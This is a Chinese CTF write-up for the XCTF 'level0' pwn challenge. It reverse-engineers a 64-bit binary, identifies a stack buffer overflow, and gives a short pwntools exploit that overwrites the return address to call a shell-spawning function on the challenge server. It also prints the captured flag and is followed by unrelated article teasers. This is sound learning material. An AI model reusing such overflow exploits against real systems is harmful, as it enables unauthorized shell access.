XCTF:level0[WriteUP]

PWN入门题目:XCTF攻防世界的level0

使用file、checksec命令查看文件详细信息

这是一个64bit的ELF文件(后面编写EXP需要用到)

从checksec中展示的信息看,该二进制文件只开启了NX(数据执行保护)

这样的话就约等于没设防了(新手题难度)


使用IDA对该文件进行反编译

在主函数发现了一个vulnerable_function函数

双击该函数进行审计

buf数组分配了0x80个字节量,而总读取的是0x200个字节,所以考虑栈溢出

按F5查看该函数伪代码

从伪代码模式看可读性更高,read函数将读取0x200个字节

双击buf数组,查看其栈空间

 

我们创造的数据需要覆盖:buf数组+返回地址+寄存器

也就是说构造数据字节数应该等于buf+r+s=80+0+8=0x88字节


审计该文件的其他函数

发现函数callsystem(名字很可疑)

双击打开后对该函数进行反编译发现

这个函数的作用就只是返回一个shell,那么我们栈溢出的目标就很明确了

 

查看该函数的地址:


编写EXP进行漏洞利用

from pwn import *

shell = remote('61.147.171.105','64456') #建立连接

payload = b'a'*0x88 #构造无用数据使栈溢出

payload += p64(0x400596) #64bit文件使用p64并带上callsystem的地址

shell.send(payload) #发送payload

shell.interactive() #与反弹shell交互

 拖到linux终端中运行,获取flag


cyberpeace{ee84d30badc9105389d6fb50e6468e9d} 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/462044.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

如何理解Linux文件IO?

一、文件IO的概述 1、什么是文件? Linux下一切皆文件。普通文件、目录文件、管道文件、套接字文件、链接文件、字符设备文件、块设备文件。 2、什么是IO? input output:输入输出 3、什么是文件IO? 对文件的输入输出,把…

Radware DDoS防护迎来重大升级,重拳出击在线游戏行业难题

日前,全球领先的网络安全和应用交付解决方案提供商Radware推出了多维DDoS检测和防护措施,以满足在线游戏行业独特复杂的需求。Radware开发了一系列新的算法来保护在线游戏免遭复杂攻击。 Radware首席运营官Gabi Malka表示:“在线游戏是价值数…

【海贼王的数据航海】排序——概念|直接插入排序|希尔排序

目录 1 -> 排序的概念及其运用 1.1 -> 排序的概念 1.2 -> 常见的排序算法 2 -> 插入排序 2.1 -> 基本思想 2.2 -> 直接插入排序 2.2.1 -> 代码实现 2.3 -> 希尔排序(缩小增量排序) 2.3.1 -> 代码实现 1 -> 排序的概念及其运用 1.1 -&g…

Centos7安装Clickhouse单节点部署

🎈 作者:互联网-小啊宇 🎈 简介: CSDN 运维领域创作者、阿里云专家博主。目前从事 Kubernetes运维相关工作,擅长Linux系统运维、开源监控软件维护、Kubernetes容器技术、CI/CD持续集成、自动化运维、开源软件部署维护…

SQLite数据库使用指南以及相关API编程

SQLite介绍 SQLite是一种基于C语言开发的轻量级、快速、自包含、高可靠性和全功能的SQL数据库引擎。它是全球范围内使用最为广泛的数据库引擎,被嵌入到所有移动设备和大部分计算机中,并且伴随着无数日常使用的应用程序一起提供。SQLite的文件格式具有稳…

免费阅读篇 | 芒果YOLOv8改进110:注意力机制GAM:用于保留信息以增强渠道空间互动

💡🚀🚀🚀本博客 改进源代码改进 适用于 YOLOv8 按步骤操作运行改进后的代码即可 该专栏完整目录链接: 芒果YOLOv8深度改进教程 该篇博客为免费阅读内容,直接改进即可🚀🚀&#x1f…

论文阅读——Rein

Stronger, Fewer, & Superior: Harnessing Vision Foundation Models for Domain Generalized Semantic Segmentation 一、引言 是一个对Domain Generalized Semantic Segmentation (DGSS)任务的视觉大模型的微调方法,即Rein。 Rein 专为 DGSS 任务量身定制&a…

Linux操作系统裸机开发-环境搭建

一、配置SSH服务 1、下载安装ssh服务输入以下命令 sudo apt-get install nfs-kernel-server portmap2、建立一个供SSH服务使用的文件夹如以下命令 mkdir linux 3、完成前两步之后需要将其文件路径放到/etc/exports文件里输入以下命令: sudo vi /etc/esports 4.打…

04-java基础--流程控制语句

一、switch语句 二、循环的三种结构 流程控制语句分为三种结构: 顺序结构(按代码的书写顺序执行,从上到下依次执行)分支结构(if语句、if–else语句、switch语句)循环结构(while、for循环、do–…

超越 GPT4,科大讯飞,再出王炸!

哈喽,大家好! 去年,科大讯飞星火大模型上线,给大家推荐了一波,演示了其强大的功能,不少小伙伴都立马申请体验了一把,也有私信说非常强大,工作效率提高不少,支持国产大模…

PCL 高斯投影反算:高斯投影坐标转大地坐标(C++详细过程版)

目录 一、算法原理二、代码实现三、结果展示四、测试数据PCL 高斯投影反算:高斯投影坐标转大地坐标(C++详细过程版)由CSDN点云侠原创。如果你不是在点云侠的博客中看到该文章,那么此处便是不要脸的爬虫。 一、算法原理

系统重构后,对项目定制开发的兼容性问题

公司自实施产品线战略以来,基本推翻了全部旧有业务模块。后续以标准产品二次开发的模式进行项目开发。但在涉及到一些旧有系统二期、三期升级改造过程中。不可避免的需要解决旧有系统的客户定制化开发兼容性问题。也就是旧有系统定制开发的模块不能丢弃。重新开发从…

解决游戏程序一运行就退出的问题

正文: 在游戏开发过程中,我们可能会遇到程序一运行就立即退出的情况。这种情况通常是由于程序中的某些逻辑错误或初始化问题导致的。 下面我们将分析可能的原因,并提供一些解决方案。 目录 正文: 原因分析: 解决方案…

LDR6328Q,快充界的黑马

Type-C接口,这一新型的USB接口形式,凭借其正反插的便捷性、传输速度的高效性,以及支持多种功率传输的灵活性,迅速在市场中崭露头角。如今,越来越多的厂商青睐于在小家电产品上运用Type-C接口,这一改变无疑极…

YOLOv9训练不中断,从断点处训练的方法

1. 训练过程中意外中断,未完成训练预期的epoch数量 不小心多开了一个程序,导致程序从98次中断了,想要继续从98开始训练: 将train_dual.py文件中的patser中参数resume,将其设置为defaultTrue: parser.add_argument(--…

JavaSE-----认识异常【详解】

目录 一.异常的概念与体系结构: 1.1异常的概念: 1.2一些常见的异常: 1.3异常的体系结构: 1.4异常的分类: 二.异常的处理机制: 2.1 抛出异常: 2.2异常的捕获: 2.3try-catch-&…

相机sd卡照片删除后数据恢复,相机sd卡中的照片被删除后如何恢复数据

当我们使用相机拍摄照片时,有时会不小心删除了一些重要的照片。这可能是因为误操作、SD卡故障或者其他原因。无论是珍贵的照片、还是重要的工作文件,被删除后,我们往往会感到焦虑和失望。相机sd卡中的照片被删除后如何恢复数据?幸…

【Leetcode每日一题】 位运算 - 两整数之和(难度⭐)(37)

1. 题目解析 题目链接:371. 两整数之和 这个问题的理解其实相当简单,只需看一下示例,基本就能明白其含义了。 2.算法原理 算法的核心思路其实可以类比为我们小时候学习的加法运算。只不过这次,我们不是在纸上用铅笔算&#xff…

主干网络篇 | YOLOv8更换主干网络之ShuffleNetV2(包括完整代码+添加步骤+网络结构图)

前言:Hello大家好,我是小哥谈。ShuffleNetV2是一种轻量级的神经网络架构,用于图像分类和目标检测任务。它是ShuffleNet的改进版本,旨在提高模型的性能和效率。ShuffleNetV2相比于之前的版本,在保持模型轻量化的同时&am…

THM学习笔记—Simple CTF

nmap扫描,发现2222端口很奇怪啊,重新换一种方式扫描2222端口 发现是ssh 先用ftp试试,尝试匿名登录 下载所有文件 发现只有一个ForMitch.txt,告诉我们其账号密码为弱密码,我们猜测Mitch为其用户名,尝试暴力…